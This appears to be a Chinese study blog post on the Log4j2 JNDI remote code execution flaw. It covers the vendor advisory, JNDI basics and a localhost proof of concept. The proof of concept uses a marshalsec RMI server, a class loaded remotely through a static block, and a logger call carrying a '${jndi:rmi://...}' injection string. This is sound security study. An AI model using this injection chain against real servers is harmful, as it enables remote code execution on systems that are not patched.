Apache Log4j2 远程代码执行漏洞学习

简介: 通过Apache Log4j2远程代码执行漏洞学习jndi等知识

漏洞介绍(摘录阿里云官方)

【漏洞预警】Apache Log4j2 远程代码执行漏洞
https://www.yuque.com/buyiyangdeyanhuo-sinmr/gp5oyo/pnlkk8#GsXMF

漏洞描述

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

影响版本

经验证 2.15.0-rc1 版本存在绕过,实际受影响范围如下:
Apache Log4j 2.x < 2.15.0-rc2

安全建议

  1. 排查应用是否引入了Apache Log4j2 Jar包,若存在依赖引入,则可能存在漏洞影响。请尽快升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
  2. 升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

接着这个漏洞,学习一些知识。

JNDI

Your guide to The JNDI Tutorial
Java Naming and Directory Interface Overview

概念

偷个懒,直接copy。其实就是jvm运行时可以读取远程的文件、对象。

introducation

Java Naming and Directory Interface is the name of the interface in the Java programming language. It is an API( Application Program Interface) that works with servers and can fetch files from a database using naming conventions. The naming convention can be a single phrase or a word. It can also be incorporated in a socket to implement socket programming using servers transferring data files or flat files in a project. It can also be used in web pages in browsers where there are instances of many directories. JNDI provides users in Java the facility to search objects in Java using the Java coding language.

architecture

The JNDI architecture consists of an API and a service provider interface (SPI). Java applications use the JNDI API to access a variety of naming and directory services. The SPI enables a variety of naming and directory services to be plugged in transparently, thereby allowing the Java application using the JNDI API to access their services.
jndiarch.gif

Packaging

JNDI is included in the Java SE Platform. To use the JNDI, you must have the JNDI classes and one or more service providers. The JDK includes service providers for the following naming/directory services:

  • Lightweight Directory Access Protocol (LDAP)
  • Common Object Request Broker Architecture (CORBA) Common Object Services (COS) name service
  • Java Remote Method Invocation (RMI) Registry
  • Domain Name Service (DNS)

代码演示


JNDI读取本地文件

package Test;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.File;
import java.util.Hashtable;

public class TestJNDI {

    public static void main(String[] args) {

        //添加环境
        Hashtable env = new Hashtable(11);
        //环境地址
        env.put(Context.PROVIDER_URL, "file:/Users/loserwang/IdeaProjects/test");
        //指定为文件系统上下文,
        // com.sun.jndi.ldap.LdapCtxFactory用于LDAP
        // com.sun.jndi.fscontext.RefFSContextFactory用于文件系统上下文,它只需要使用者提供存放上下文的文件路径
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.fscontext.RefFSContextFactory");

        try {
            //1. 初始化上下文
            Context ctx = new InitialContext(env);

            // 2. 获取name对应object
            File f = (File) ctx.lookup("pom.xml");

            System.out.println(f);

            // Close the context when we're done
            ctx.close();
        } catch (NamingException e) {
            System.out.println("Lookup failed: " + e);
        }
    }
}

jndi-out1.png

ps: 需要自己下载com.sun.jndi.fscontext jar包

JNDI读取rmi

编译要提供的类

package Test;

public class Hello {
     static {
        System.out.println("做一些危险的事情");
    }

    public String hello(){
        return "hello";
    }
}
> javac src/main/java/Test/Hello.java 

将class文件放入服务器

jndi-out2.png

下载并编译marshalsec

> git clone https://github.com/mbechler/marshalsec
> cd marshalsec
> mvn clean package -DskipTests

使用marshalsec提供jndi rmi服务

进入marshalsec的target目录下,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机的9999端口开启一个RMI服务加载TouchFile.class文件,
预发如下:

>  cd target 
>  ll
total 85016
drwxr-xr-x  2 loserwang  staff    64B 12 11 15:27 archive-tmp
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 classes
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 generated-sources
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 generated-test-sources
-rw-r--r--  1 loserwang  staff    41M 12 11 15:28 marshalsec-0.0.3-SNAPSHOT-all.jar
-rw-r--r--  1 loserwang  staff    99K 12 11 15:27 marshalsec-0.0.3-SNAPSHOT.jar
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 maven-archiver
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 maven-status
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 test-classes

>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://localhost:8080/#Hello" 9999
* Opening JRMP listener on 9999

通过JNDI调用rmi

public class MyRmiClient {
    public static void main(String[] args) throws NamingException {
         //设置这个系统属性才能url获取jndi,不然抛出异常
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        String url = "rmi://127.0.0.1:9001/Hello";
        InitialContext context = new InitialContext();


        Hello hello = (Hello) context.lookup(url);
        System.out.println("获取成功:" + hello.hello());
    }
}

报错如下:

Hello cannot be cast to javax.naming.spi.ObjectFactory

把Hello改为:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Hello implements ObjectFactory {
     static {
        System.out.println("做一些危险的事情");
    }

    public String hello(){
        return "hello";
    }

    //context.lookup会调用getObjectInstance产生实例对象
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return new Hello();
    }
}

执行结果如下: (Hello.class被成功加载)
jndi-out3.png

Log4j Lookups

Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface.

Lookups提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现 StrLookup 接口的特殊类型的插件。
The JndiLookup allows variables to be retrieved via JNDI.
JndiLookup允许注入JNDI变量,并且执行结果。

引入依赖(bug修复前的版本)

       <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.13.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.13.1</version>
        </dependency>

log触发jndi, 实现注入

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class TryLog4j {

    private static Logger logger = LogManager.getLogger(TryLog4j.class);

    public static void main(String[] args) {
        logger.error("java.version: ${java:vm} \n");
        logger.error("jndi启动:${jndi:rmi://127.0.0.1:9003/Hello}");
    }
}

jndi-out4.png

相关文章
|
存储 消息中间件 Java
Apache Flink 实践问题之原生TM UI日志问题如何解决
Apache Flink 实践问题之原生TM UI日志问题如何解决
114 1
|
8月前
|
存储 监控 安全
实时记录和查看Apache 日志
Apache 是一个开源、跨平台的 Web 服务器,保护其平台需监控活动和事件。Apache 日志分为访问日志和错误日志,分别记录用户请求和服务器错误信息。EventLog Analyzer 是一款强大的日志查看工具,提供集中收集、分析、实时警报和安全监控功能,帮助管理员识别趋势、检测威胁并确保合规性。通过直观的仪表板和自动化响应,它简化了大规模日志管理,增强了 Apache 服务器的安全性和性能。
163 5
|
9月前
|
监控 安全 Apache
什么是Apache日志?为什么Apache日志分析很重要?
Apache是全球广泛使用的Web服务器软件,支持超过30%的活跃网站。它通过接收和处理HTTP请求,与后端服务器通信,返回响应并记录日志,确保网页请求的快速准确处理。Apache日志分为访问日志和错误日志,对提升用户体验、保障安全及优化性能至关重要。EventLog Analyzer等工具可有效管理和分析这些日志,增强Web服务的安全性和可靠性。
252 9
|
3月前
|
人工智能 运维 监控
Aipy实战:分析apache2日志中的网站攻击痕迹
Apache2日志系统灵活且信息全面,但安全分析、实时分析和合规性审计存在较高技术门槛。为降低难度,可借助AI工具如aipy高效分析日志,快速发现攻击痕迹并提供反制措施。通过结合AI与学习技术知识,新手运维人员能更轻松掌握复杂日志分析任务,提升工作效率与技能水平。
|
5月前
|
调度
FreeRTOS学习日志 - 第一天
这就是我的FreeRTOS学习日志 - 第一天的内容,明天继续探索这片实时操作系统的广阔海洋。+
93 12
|
5月前
|
监控 安全 BI
优化 Apache 日志记录的 5 个最佳实践
Apache 日志记录对于维护系统运行状况和网络安全至关重要,其核心包括访问日志与错误日志的管理。通过制定合理的日志策略,如选择合适的日志格式、利用条件日志减少冗余、优化日志级别、使用取证模块提升安全性及实施日志轮换,可有效提高日志可用性并降低系统负担。此外,借助 Eventlog Analyzer 等专业工具,能够实现日志的高效收集、可视化分析与威胁检测,从而精准定位安全隐患、评估服务器性能,并满足合规需求,为强化网络安全提供有力支持。
127 0
优化 Apache 日志记录的 5 个最佳实践
|
8月前
|
存储 运维 监控
金融场景 PB 级大规模日志平台:中信银行信用卡中心从 Elasticsearch 到 Apache Doris 的先进实践
中信银行信用卡中心每日新增日志数据 140 亿条(80TB),全量归档日志量超 40PB,早期基于 Elasticsearch 构建的日志云平台,面临存储成本高、实时写入性能差、文本检索慢以及日志分析能力不足等问题。因此使用 Apache Doris 替换 Elasticsearch,实现资源投入降低 50%、查询速度提升 2~4 倍,同时显著提高了运维效率。
356 3
金融场景 PB 级大规模日志平台:中信银行信用卡中心从 Elasticsearch 到 Apache Doris 的先进实践
|
9月前
|
存储 监控 安全
实时记录和查看Apache 日志
Apache 是一个开源、跨平台的Web服务器,保护其安全依赖于监控活动和分析访问日志。日志分为访问日志和错误日志,前者记录用户请求及响应情况,后者记录服务器错误信息。EventLog Analyzer等工具可集中收集、分析日志,提供直观的仪表板和实时警报,帮助识别趋势、异常和威胁,确保服务器稳定性和安全性,并支持合规管理。
220 5
|
存储 消息中间件 人工智能
AI大模型独角兽 MiniMax 基于阿里云数据库 SelectDB 版内核 Apache Doris 升级日志系统,PB 数据秒级查询响应
早期 MiniMax 基于 Grafana Loki 构建了日志系统,在资源消耗、写入性能及系统稳定性上都面临巨大的挑战。为此 MiniMax 开始寻找全新的日志系统方案,并基于阿里云数据库 SelectDB 版内核 Apache Doris 升级了日志系统,新系统已接入 MiniMax 内部所有业务线日志数据,数据规模为 PB 级, 整体可用性达到 99.9% 以上,10 亿级日志数据的检索速度可实现秒级响应。
717 14
AI大模型独角兽 MiniMax 基于阿里云数据库 SelectDB 版内核 Apache Doris 升级日志系统,PB 数据秒级查询响应
|
11月前
|
Arthas 监控 Java
JVM知识体系学习七:了解JVM常用命令行参数、GC日志详解、调优三大方面(JVM规划和预调优、优化JVM环境、JVM运行出现的各种问题)、Arthas
这篇文章全面介绍了JVM的命令行参数、GC日志分析以及性能调优的各个方面,包括监控工具使用和实际案例分析。
994 3

推荐镜像

更多